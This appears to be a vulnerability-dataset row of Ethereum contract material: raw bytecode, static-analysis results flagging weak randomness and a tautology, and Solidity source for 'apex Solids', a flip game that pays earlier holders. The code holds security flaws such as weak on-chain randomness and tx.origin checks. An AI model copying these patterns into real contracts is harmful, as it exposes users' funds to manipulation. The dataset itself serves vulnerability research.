506104976107a436600461228f565b611915565b3480156107b557600080fd5b506103056119b9565b3480156107ca57600080fd5b506103766119bf565b3480156107df57600080fd5b506103056107ee366004612264565b6119d5565b604080516010808252610220820190925260609160009190816020015b60608152602001906001900390816108105790505090506000610835846101006119f1565b9050600061084585610100611a04565b90506000805b60108110156108e0576040805160108082526102208201909252600091816020015b606081526020019060019003908161086d57905050905060005b60108110156108be5761089b8686866112c8565b8282815181106108a757fe5b602090810291909101015260019384019301610887565b50808683815181106108cc57fe5b60209081029190910101525060010161084b565b509293505050505b919050565b6001600160e01b03191660009081526020819052604090205460ff1690565b6201000081565b620100115461010090046001600160a01b0316331461094d5760405162461bcd60e51b815260040161094490612632565b60405180910390fd5b600a54600160a01b900460ff161561096457600080fd5b61800081600f5401111561098a5760405162461bcd60e51b8152600401610944906127a7565b600b839055600c849055600e82905542600d819055600a805460ff60a01b1916600160a01b1790556009548201600f556040517fd31ad24df8ccfe063005ec7e718c82b7489b7e7e1579d6081f59eb61a72126b2916109f09187918791879087906128a2565b60405180910390a150505050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a8a5780601f10610a5f57610100808354040283529160200191610a8a565b820191906000526020600020905b815481529060010190602001808311610a6d57829003601f168201915b5050505050905090565b60008181526001602052604081205482906001600160a01b0316610aca5760405162461bcd60e51b81526004016109449061260a565b50506000908152600260205260409020546001600160a01b031690565b60008181526001602052604090205481906001600160a01b031633811480610b3257506001600160a01b038116600090815260036020908152604080832033845290915290205460ff165b610b4e5760405162461bcd60e51b8152600401610944906126fc565b60008381526001602052604090205483906001600160a01b0316610b845760405162461bcd60e51b81526004016109449061260a565b6000848152600160205260409020546001600160a01b03908116908616811415610bad57600080fd5b60008581526002602052604080822080546001600160a01b0319166001600160a01b038a811691821790925591518893918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050505050565b62010012602052600090815260409020546001600160a01b031681565b6008545b90565b600d5481565b60008181526001602052604090205481906001600160a01b031633811480610c7457506000828152600260205260409020546001600160a01b031633145b80610ca257506001600160a01b038116600090815260036020908152604080832033845290915290205460ff165b610cbe5760405162461bcd60e51b815260040161094490612725565b60008381526001602052604090205483906001600160a01b0316610cf45760405162461bcd60e51b81526004016109449061260a565b6000848152600160205260409020546001600160a01b039081169087168114610d2f5760405162461bcd60e51b81526004016109449061277a565b6001600160a01b038616610d555760405162461bcd60e51b815260040161094490612808565b610d5f8686611a23565b50505050505050565b620100115461010090046001600160a01b03163314610d995760405162461bcd60e51b815260040161094490612632565b60005b82811015610db857610daf826001611a8c565b50600101610d9c565b505050565b6001600160a01b0382166000908152600460205260408120548210610de157600080fd5b6001600160a01b0383166000908152600460205260409020805483908110610e0557fe5b906000526020600020015490505b92915050565b600a54600160a01b900460ff1681565b600e5481565b6001600160a01b03811660009081526201001360205260408120546060918167ffffffffffffffff81118015610e6457600080fd5b50604051908082528060200260200182016040528015610e8e578160200160208202803683370190505b50905060005b82811015610eec576001600160a01b03851660009081526201001360205260409020805482908110610ec257fe5b9060005260206000200154828281518110610ed957fe5b6020908102919091010152600101610e94565b509392505050565b60056020526000908152604090205481565b610db883838360405180602001604052806000815250611b42565b6000610f3a600954600f54611d1890919063ffffffff16565b905090565b602081565b620100115461010090046001600160a01b03163314610f755760405162461bcd60e51b815260040161094490612632565b600a805460ff60a01b19169055600954600f55565b6001600160a01b0381166000908152600460205260408120546060918167ffffffffffffffff81118015610fbd57600080fd5b50604051908082528060200260200182016040528015610fe7578160200160208202803683370190505b50905060005b82811015610eec576001600160a01b038516600090815260046020526040902080548290811061101957fe5b906000526020600020015482828151811061103057fe5b6020908102919091010152600101610fed565b6000818152600160205260408120546001600160a01b031661106457600080fd5b506000908152600160205260409020546001600160a01b031690565b620100146020526000908152604090205481565b6000828152600160205260409020546001600160a01b03163314806110d1575060008281526201001260205260409020546001600160a01b031633145b6110ed5760405162461bcd60e51b815260040161094490612835565b6000811161110d5760405162461bcd60e51b8152600401610944906126c5565b817f67b46b8aec19fefe3d0edee4b64e3d6ab831c8c9e8f3f965f6be44db3c69a3d58260405161113d9190612899565b60405180910390a26000828152600160205260409020546001600160a01b03163314156111c25761116d82611d2d565b6111773383611d6a565b6000828152620100126020526040902080546001600160a01b031916339081179091556111a49083611eb3565b6040518290600090339060008051602061292b833981519152908390a45b600a5460405163cb5085cb60e01b81526000916001600160a01b03169063cb5085cb906111f7903390879087906004016124bd565b602060405180830381600087803b15801561121157600080fd5b505af1158015611225573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124991906122c3565b50505050565b620100115461010090046001600160a01b031633146112805760405162461bcd60e51b815260040161094490612632565b6201001180546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60006001600160a01b0382166112bf57600080fd5b610e1382611f23565b606060006112d585611327565b905060006112e285611327565b905060006112ef85611327565b9050828282604051602001611306939291906123fc565b60405160208183030381529060405293505050509392505050565b60085481565b6040805160028082528183019092526060919083906000908360208201818036833701905050905060005b8381101561139f5760108606925061136983611f3e565b826001838703038151811061137a57fe5b60200101906001600160f81b031916908160001a905350601086049550600101611352565b50949350505050565b6000828152600160205260409020546001600160a01b03163314806113e5575060008281526201001260205260409020546001600160a01b031633145b6114015760405162461bcd60e51b815260040161094490612835565b600081116114215760405162461bcd60e51b8152600401610944906126c5565b817fd2f86d57a35675f9b110882456ef39a382fbbf85063c408a05c6c74d9914dae2826040516114519190612899565b60405180910390a26000828152600160205260409020546001600160a01b03163314156114d65761148182611d2d565b61148b3383611d6a565b6000828152620100126020526040902080546001600160a01b031916339081179091556114b89083611eb3565b6040518290600090339060008051602061292b833981519152908390a45b600a54604051630eb545a560e11b81526000916001600160a01b031690631d6a8b4a906111f7903390879087906004016124bd565b60078054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a8a5780601f10610a5f57610100808354040283529160200191610a8a565b600a54600090600160a01b900460ff166115985760405162461bcd60e51b8152600401610944906125df565b60006115af600d5442611d1890919063ffffffff16565b9050600e5481106115c4575050600b54610c2d565b600b54600e54600c546115ec91906115e6906115e08387611d18565b90611f82565b906119f1565b116115f957600b54611612565b600e54600c5461161291906115e6906115e08386611d18565b915050610c2d565b60095481565b620100115460ff161561163257600080fd5b62010011805460ff19166001179055600a54600160a01b900460ff1661166a5760405162461bcd60e51b8152600401610944906125df565b600f54816009540111156116905760405162461bcd60e51b815260040161094490612657565b6000811180156116a1575060208111155b6116bd5760405162461bcd60e51b81526004016109449061274f565b60006116c761156c565b90506116d38183611f82565b3410156116f25760405162461bcd60e51b81526004016109449061268e565b6116fc8183611f82565b34111561174557336108fc61171b6117148486611f82565b3490611d18565b6040518115909202916000818181858888f19350505050158015611743573d6000803e3d6000fd5b505b620100115461010090046001600160a01b03166108fc6117658385611f82565b6040518115909202916000818181858888f1935050505015801561178d573d6000803e3d6000fd5b50600980548301905560005b828110156117b5576117ac336000611a8c565b50600101611799565b505062010011805460ff1916905550565b600f5481565b3360008181526003602090815260408083206001600160a01b038716808552925291829020805460ff191685151517905590519091907f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c319061182f9085906125c1565b60405180910390a35050565b61187d85858585858080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611b4292505050565b5050505050565b6001602052600090815260409020546001600160a01b031681565b600a546001600160a01b031681565b600b5481565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205460ff1690565b62010013602052816000526040600020818154811061190057600080fd5b90600052602060002001600091509150505481565b606060008267ffffffffffffffff8111801561193057600080fd5b5060405190808252806020026020018201604052801561195a578160200160208202803683370190505b509050835b83850181101561139f576001600160a01b038616600090815260046020526040902080548290811061198d57fe5b906000526020600020015482868303815181106119a657fe5b602090810291909101015260010161195f565b61800081565b620100115461010090046001600160a01b031681565b6004602052816000526040600020818154811061190057600080fd5b60008183816119fc57fe5b049392505050565b6000808211611a1257600080fd5b818381611a1b57fe5b069392505050565b6000818152600160205260409020546001600160a01b0316611a4482611d2d565b611a4e8183611d6a565b611a588383611faa565b81836001600160a01b0316826001600160a01b031660008051602061292b83398151915260405160405180910390a4505050565b60006001600160a01b038316611ab45760405162461bcd60e51b81526004016109449061286c565b6000611abe612015565b6008805460010190559050611ad38482611faa565b836001600160a01b0316817fc272e935698bfdb91f56cc72eb6479925f74549184710ec89e811ac85671323f85604051611b0d91906125c1565b60405180910390a360405181906001600160a01b0386169060009060008051602061292b833981519152908290a49392505050565b60008281526001602052604090205482906001600160a01b031633811480611b8057506000828152600260205260409020546001600160a01b031633145b80611bae57506001600160a01b038116600090815260036020908152604080832033845290915290205460ff165b611bca5760405162461bcd60e51b815260040161094490612725565b60008481526001602052604090205484906001600160a01b0316611c005760405162461bcd60e51b81526004016109449061260a565b6000858152600160205260409020546001600160a01b039081169088168114611c3b5760405162461bcd60e51b8152600401610944906127de565b6001600160a01b038716611c4e57600080fd5b611c588787611a23565b611c61876120fc565b15611d0e57604051630a85bd0160e11b81526000906001600160a01b0389169063150b7a0290611c9b9033908d908c908c90600401612480565b602060405180830381600087803b158015611cb557600080fd5b505af1158015611cc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ced91906122fb565b90506001600160e01b03198116630a85bd0160e11b14611d0c57600080fd5b505b5050505050505050565b600082821115611d2757600080fd5b50900390565b6000818152600260205260409020546001600160a01b031615611d6757600081815260026020526040902080546001600160a01b03191690555b50565b6000818152600160205260409020546001600160a01b03838116911614611da35760405162461bcd60e51b8152600401610944906127de565b600081815260016020818152604080842080546001600160a01b031916905560058252808420546001600160a01b03871685526004909252832054909291611deb9190611d18565b9050818114611e76576001600160a01b0384166000908152600460205260408120805483908110611e1857fe5b906000526020600020015490508060046000876001600160a01b03166001600160a01b031681526020019081526020016000208481548110611e5657fe5b600091825260208083209091019290925591825260059052604090208290555b6001600160a01b0384166000908152600460205260409020805480611e9757fe5b6001900381819060005260206000200160009055905550505050565b6000818152620100126020908152604080832080546001600160a01b0319166001600160a01b0387169081179091558084526201001383529083208054600181810183558286529385200185905592529054611f0e91611d18565b60009182526201001460205260409091205550565b6001600160a01b031660009081526004602052604090205490565b600060098260ff1611611f5857506030810160f81b6108e8565b8160ff16600a11158015611f705750600f8260ff1611155b1561028857506057810160f81b6108e8565b600082611f9157506000610e13565b5081810281838281611f9f57fe5b0414610e1357600080fd5b600081815260016020818152604080842080546001600160a01b0319166001600160a01b0388169081179091558085526004835290842080548085018255818652928520909201859055909252905461200291611d18565b6000918252600560205260409091205550565b6000806008546201000003905060008160105433444260405160200161203e949392919061243f565b6040516020818303038152906040528051906020012060001c8161205e57fe5b069050600060118262010000811061207257fe5b0154156120915760118262010000811061208857fe5b01549050612094565b50805b6011600184036201000081106120a657fe5b01546120c657600183036011836201000081106120bf57fe5b01556120ec565b6011600184036201000081106120d857fe5b01546011836201000081106120e957fe5b01555b6010805460010190559250505090565b3b151590565b600060208284031215612113578081fd5b813561211e816128f1565b9392505050565b60008060408385031215612137578081fd5b8235612142816128f1565b91506020830135612152816128f1565b809150509250929050565b600080600060608486031215612171578081fd5b833561217c816128f1565b9250602084013561218c816128f1565b929592945050506040919091013590565b6000806000806000608086880312156121b4578081fd5b85356121bf816128f1565b945060208601356121cf816128f1565b935060408601359250606086013567ffffffffffffffff808211156121f2578283fd5b818801915088601f830112612205578283fd5b813581811115612213578384fd5b896020828501011115612224578384fd5b9699959850939650602001949392505050565b60008060408385031215612249578182fd5b8235612254816128f1565b9150602083013561215281612906565b60008060408385031215612276578182fd5b8235612281816128f1565b946020939093013593505050565b6000806000606084860312156122a3578283fd5b83356122ae816128f1565b95602085013595506040909401359392505050565b6000602082840312156122d4578081fd5b815161211e81612906565b6000602082840312156122f0578081fd5b813561211e81612914565b60006020828403121561230c578081fd5b815161211e81612914565b600060208284031215612328578081fd5b5035919050565b60008060408385031215612341578182fd5b823591506020830135612152816128f1565b60008060408385031215612365578182fd5b50508035926020909101359150565b600080600060608486031215612388578283fd5b505081359360208301359350604090920135919050565b600080600080608085870312156123b4578182fd5b5050823594602084013594506040840135936060013592509050565b600081518084526123e88160208601602086016128c5565b601f01601f19169290920160200192915050565b6000845161240e8184602089016128c5565b8451908301906124228183602089016128c5565b84519101906124358183602088016128c5565b0195945050505050565b93845260609290921b6bffffffffffffffffffffffff191660208401526034830152605482015260740190565b6001600160a01b0391909116815260200190565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906124b3908301846123d0565b9695505050505050565b6001600160a01b039390931683526020830191909152604082015260600190565b6000602080830181845280855180835260408601915060408482028701019250838701855b8281101561257057878503603f19018452815180518087529087019087870190888102880189018a5b8281101561255a57601f198a83030184526125488286516123d0565b948b0194938b0193915060010161252c565b5097505050938601935090850190600101612503565b5092979650505050505050565b6020808252825182820181905260009190848201906040850190845b818110156125b557835183529284019291840191600101612599565b50909695505050505050565b901515815260200190565b60006020825261211e60208301846123d0565b60208082526011908201527029b0b632903737ba1039ba30b93a32b21760791b604082015260600190565b6020808252600e908201526d24b73b30b634b2103a37b5b2b71760911b604082015260600190565b6020808252600b908201526a27b7363c9030b236b4b71760a91b604082015260600190565b6020808252601b908201527f457863656564732063757272656e742073616c65206c696d69742e0000000000604082015260600190565b6020808252601f908201527f496e73756666696369656e742066756e647320746f2070757263686173652e00604082015260600190565b6020808252601c908201527f636f756e74206d7573742062652067726561746572207468616e203000000000604082015260600190565b6020808252600f908201526e21b0b73737ba1037b832b930ba329760891b604082015260600190565b60208082526010908201526f21b0b73737ba103a3930b739b332b91760811b604082015260600190565b60208082526011908201527024b73b30b634b21038bab0b73a34ba3c9760791b604082015260600190565b6020808252601390820152722bb937b73390333937b69030b2323932b9b99760691b604082015260600190565b60208082526019908201527f4578636565647320746f74616c2073616c65206c696d69742e00000000000000604082015260600190565b60208082526010908201526f24b731b7b93932b1ba1037bbb732b91760811b604082015260600190565b60208082526013908201527221b0b73737ba1039b2b732103a3790183c181760691b604082015260600190565b6020808252601e908201527f4e6f206163636573732072696768747320746f207472616e736d7574652e0000604082015260600190565b60208082526013908201527221b0b73737ba1036b4b73a103a3790183c181760691b604082015260600190565b90815260200190565b948552602085019390935260408401919091526060830152608082015260a00190565b60005b838110156128e05781810151838201526020016128c8565b838111156112495750506000910152565b6001600160a01b0381168114611d6757600080fd5b8015158114611d6757600080fd5b6001600160e01b031981168114611d6757600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122005258afec242d627e3f7cd921cffa7cf8927af273409f280e2c29383e95bef3264736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 5,907 |
0x85e4cd785887cad7c6be93f2f34d5fa683f9bfcd
|
pragma solidity ^0.4.24;
/***
* https://apexONE.io
*
* apex Solids - Solids is an eternal smart contract game.
*
* The solids are priced by number of faces.
* Price increases by 30% every flip.
* Over 4 hours price will fall to base.
* Holders after 4 hours with no flip can collect the holder fund.
*
* 10% of rise buyer gets APX1 tokens in the apexONE exchange.
* 5% of rise goes to holder fund.
* 5% of rise goes to team and promoters.
* The rest (110%) goes to previous owner.
*
*/
contract ERC721 {
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
}
contract apexONEInterface {
function isStarted() public view returns (bool);
function buyFor(address _referredBy, address _customerAddress) public payable returns (uint256);
}
contract apexSolids is ERC721 {
/*=================================
= MODIFIERS =
=================================*/
/// @dev Access modifier for owner functions
modifier onlyOwner() {
require(msg.sender == contractOwner);
_;
}
/// @dev Prevent contract calls.
modifier notContract() {
require(tx.origin == msg.sender);
_;
}
/// @dev notPaused
modifier notPaused() {
require(paused == false);
_;
}
/// @dev notGasbag
modifier notGasbag() {
require(tx.gasprice < 99999999999);
_;
}
/* @dev notMoron (childish but fun)
modifier notMoron() {
require(msg.sender != 0x41FE3738B503cBaFD01C1Fd8DD66b7fE6Ec11b01);
_;
}
*/
/*==============================
= EVENTS =
==============================*/
event onTokenSold(
uint256 indexed tokenId,
uint256 price,
address prevOwner,
address newOwner,
string name
);
/*==============================
= CONSTANTS =
==============================*/
string public constant NAME = "apex Solids";
string public constant SYMBOL = "APXS";
uint256 private increaseRatePercent = 130;
uint256 private devFeePercent = 5;
uint256 private bagHolderFundPercent = 5;
uint256 private exchangeTokenPercent = 10;
uint256 private previousOwnerPercent = 110;
uint256 private priceFallDuration = 4 hours;
/*==============================
= STORAGE =
==============================*/
/// @dev A mapping from solid IDs to the address that owns them.
mapping (uint256 => address) public solidIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
mapping (address => uint256) private ownershipTokenCount;
/// @dev A mapping from SolidID to an address that has been approved to call
mapping (uint256 => address) public solidIndexToApproved;
// @dev The address of the owner
address public contractOwner;
// @dev Current dev fee
uint256 public currentDevFee = 0;
// @dev The address of the exchange contract
address public apexONEaddress;
// @dev paused
bool public paused;
/*==============================
= DATATYPES =
==============================*/
struct Solid {
string name;
uint256 basePrice;
uint256 highPrice;
uint256 fallDuration;
uint256 saleTime; // when was sold last
uint256 bagHolderFund;
}
Solid [6] public solids;
constructor () public {
contractOwner = msg.sender;
paused=true;
Solid memory _Tetrahedron = Solid({
name: "Tetrahedron",
basePrice: 0.014 ether,
highPrice: 0.014 ether,
fallDuration: priceFallDuration,
saleTime: now,
bagHolderFund: 0
});
solids[1] = _Tetrahedron;
Solid memory _Cube = Solid({
name: "Cube",
basePrice: 0.016 ether,
highPrice: 0.016 ether,
fallDuration: priceFallDuration,
saleTime: now,
bagHolderFund: 0
});
solids[2] = _Cube;
Solid memory _Octahedron = Solid({
name: "Octahedron",
basePrice: 0.018 ether,
highPrice: 0.018 ether,
fallDuration: priceFallDuration,
saleTime: now,
bagHolderFund: 0
});
solids[3] = _Octahedron;
Solid memory _Dodecahedron = Solid({
name: "Dodecahedron",
basePrice: 0.02 ether,
highPrice: 0.02 ether,
fallDuration: priceFallDuration,
saleTime: now,
bagHolderFund: 0
});
solids[4] = _Dodecahedron;
Solid memory _Icosahedron = Solid({
name: "Icosahedron",
basePrice: 0.03 ether,
highPrice: 0.03 ether,
fallDuration: priceFallDuration,
saleTime: now,
bagHolderFund: 0
});
solids[5] = _Icosahedron;
_transfer(0x0, contractOwner, 1);
_transfer(0x0, contractOwner, 2);
_transfer(0x0, contractOwner, 3);
_transfer(0x0, contractOwner, 4);
_transfer(0x0, contractOwner, 5);
}
/*** PUBLIC FUNCTIONS ***/
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(
address _to,
uint256 _tokenId
) public {
// Caller must own token.
require(_owns(msg.sender, _tokenId));
solidIndexToApproved[_tokenId] = _to;
emit Approval(msg.sender, _to, _tokenId);
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
/// @notice Returns all the relevant information about a specific solid.
/// @param _tokenId The tokenId of the solid of interest.
function getSolid(uint256 _tokenId) public view returns (
string solidName,
uint256 price,
address currentOwner,
uint256 bagHolderFund,
bool isBagFundAvailable
) {
Solid storage solid = solids[_tokenId];
solidName = solid.name;
price = priceOf(_tokenId);
currentOwner = solidIndexToOwner[_tokenId];
bagHolderFund = solid.bagHolderFund;
isBagFundAvailable = now > (solid.saleTime + priceFallDuration);
}
function implementsERC721() public pure returns (bool) {
return true;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = solidIndexToOwner[_tokenId];
require(owner != address(0));
}
// Allows someone to send ether and obtain the token
function purchase(uint256 _tokenId , address _referredBy) public payable notContract notPaused notGasbag /*notMoron*/ {
address oldOwner = solidIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 currentPrice = priceOf(_tokenId);
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= currentPrice);
uint256 previousOwnerGets = SafeMath.mul(SafeMath.div(currentPrice,increaseRatePercent),previousOwnerPercent);
uint256 exchangeTokensAmount = SafeMath.mul(SafeMath.div(currentPrice,increaseRatePercent),exchangeTokenPercent);
uint256 devFeeAmount = SafeMath.mul(SafeMath.div(currentPrice,increaseRatePercent),devFeePercent);
uint256 bagHolderFundAmount = SafeMath.mul(SafeMath.div(currentPrice,increaseRatePercent),bagHolderFundPercent);
currentDevFee = currentDevFee + devFeeAmount;
if (exchangeContract.isStarted()) {
exchangeContract.buyFor.value(exchangeTokensAmount)(_referredBy, msg.sender);
}else{
// send excess back because exchange is not ready
msg.sender.transfer(exchangeTokensAmount);
}
// do the sale
_transfer(oldOwner, newOwner, _tokenId);
// set new price and saleTime
solids[_tokenId].highPrice = SafeMath.mul(SafeMath.div(currentPrice,100),increaseRatePercent);
solids[_tokenId].saleTime = now;
solids[_tokenId].bagHolderFund+=bagHolderFundAmount;
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
if (oldOwner.send(previousOwnerGets)){}
}
emit onTokenSold(_tokenId, currentPrice, oldOwner, newOwner, solids[_tokenId].name);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
Solid storage solid = solids[_tokenId];
uint256 secondsPassed = now - solid.saleTime;
if (secondsPassed >= solid.fallDuration || solid.highPrice==solid.basePrice) {
return solid.basePrice;
}
uint256 totalPriceChange = solid.highPrice - solid.basePrice;
uint256 currentPriceChange = totalPriceChange * secondsPassed /solid.fallDuration;
uint256 currentPrice = solid.highPrice - currentPriceChange;
return currentPrice;
}
function collectBagHolderFund(uint256 _tokenId) public notPaused {
require(msg.sender == solidIndexToOwner[_tokenId]);
uint256 bagHolderFund;
bool isBagFundAvailable = false;
(
,
,
,
bagHolderFund,
isBagFundAvailable
) = getSolid(_tokenId);
require(isBagFundAvailable && bagHolderFund > 0);
uint256 amount = bagHolderFund;
solids[_tokenId].bagHolderFund = 0;
msg.sender.transfer(amount);
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// @notice Allow pre-approved user to take ownership of a token
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = solidIndexToOwner[_tokenId];
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure transfer is approved
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
/// @param _owner The owner whose tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalTokens = totalSupply();
uint256 resultIndex = 0;
uint256 tokenId;
for (tokenId = 0; tokenId <= totalTokens; tokenId++) {
if (solidIndexToOwner[tokenId] == _owner) {
result[resultIndex] = tokenId;
resultIndex++;
}
}
return result;
}
}
/// For querying totalSupply of token
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint256 total) {
return 5;
}
/// Owner initates the transfer of the token to another account
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transfer(
address _to,
uint256 _tokenId
) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
/// Third-party initiates transfer of token from address _from to address _to
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/*** PRIVATE FUNCTIONS ***/
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return solidIndexToApproved[_tokenId] == _to;
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == solidIndexToOwner[_tokenId];
}
/// @dev Assigns ownership of a specific token to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// no transfer to contract
uint length;
assembly { length := extcodesize(_to) }
require (length == 0);
ownershipTokenCount[_to]++;
//transfer ownership
solidIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete solidIndexToApproved[_tokenId];
}
// Emit the transfer event.
emit Transfer(_from, _to, _tokenId);
}
/// @dev Not a charity
function collectDevFees() public onlyOwner {
if (currentDevFee < address(this).balance){
uint256 amount = currentDevFee;
currentDevFee = 0;
contractOwner.transfer(amount);
}
}
/// @dev Interface to exchange
apexONEInterface public exchangeContract;
function setExchangeAddresss(address _address) public onlyOwner {
exchangeContract = apexONEInterface(_address);
apexONEaddress = _address;
}
/// @dev stop and start
function setPaused(bool _paused) public onlyOwner {
paused = _paused;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461016e578063095ea7b3146101f85780630e3fd8c21461021e5780631051db34146102e057806316c38b3c1461030957806318160ddd146103235780631c60df061461034a57806323b872dd146103fd5780632d6e7511146104275780633f0a0797146104585780635054e8bf1461046d5780635c975abb146104825780636352211e146104975780636bb3b4a4146104af57806370a08231146104d05780638462151c146104f157806395d89b4114610562578063a3f4df7e14610577578063a9059cbb1461058c578063ae77c237146105b0578063b2e6ceeb146105c7578063b9186d7d146105df578063ce606ee0146105f7578063d070b83b1461060c578063e8b5cdf514610624578063f3aff18114610639578063f47d5ac514610651578063f76f8d7814610669575b600080fd5b34801561017a57600080fd5b5061018361067e565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101bd5781810151838201526020016101a5565b50505050905090810190601f1680156101ea5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020457600080fd5b5061021c600160a060020a03600435166024356106b5565b005b34801561022a57600080fd5b5061023660043561073d565b604051808060200186815260200185600160a060020a0316600160a060020a0316815260200184815260200183151515158152602001828103825287818151815260200191508051906020019080838360005b838110156102a1578181015183820152602001610289565b50505050905090810190601f1680156102ce5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b3480156102ec57600080fd5b506102f5610828565b604080519115158252519081900360200190f35b34801561031557600080fd5b5061021c600435151561082d565b34801561032f57600080fd5b50610338610884565b60408051918252519081900360200190f35b34801561035657600080fd5b50610362600435610889565b6040518080602001878152602001868152602001858152602001848152602001838152602001828103825288818151815260200191508051906020019080838360005b838110156103bd5781810151838201526020016103a5565b50505050905090810190601f1680156103ea5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b34801561040957600080fd5b5061021c600160a060020a0360043581169060243516604435610949565b34801561043357600080fd5b5061043c610997565b60408051600160a060020a039092168252519081900360200190f35b34801561046457600080fd5b5061043c6109a6565b34801561047957600080fd5b5061021c6109b5565b34801561048e57600080fd5b506102f5610a25565b3480156104a357600080fd5b5061043c600435610a46565b3480156104bb57600080fd5b5061021c600160a060020a0360043516610a6f565b3480156104dc57600080fd5b50610338600160a060020a0360043516610abf565b3480156104fd57600080fd5b50610512600160a060020a0360043516610ada565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561054e578181015183820152602001610536565b505050509050019250505060405180910390f35b34801561056e57600080fd5b50610183610bac565b34801561058357600080fd5b50610183610be3565b34801561059857600080fd5b5061021c600160a060020a0360043516602435610c1a565b61021c600435600160a060020a0360243516610c4e565b3480156105d357600080fd5b5061021c60043561106a565b3480156105eb57600080fd5b506103386004356110b8565b34801561060357600080fd5b5061043c611139565b34801561061857600080fd5b5061043c600435611148565b3480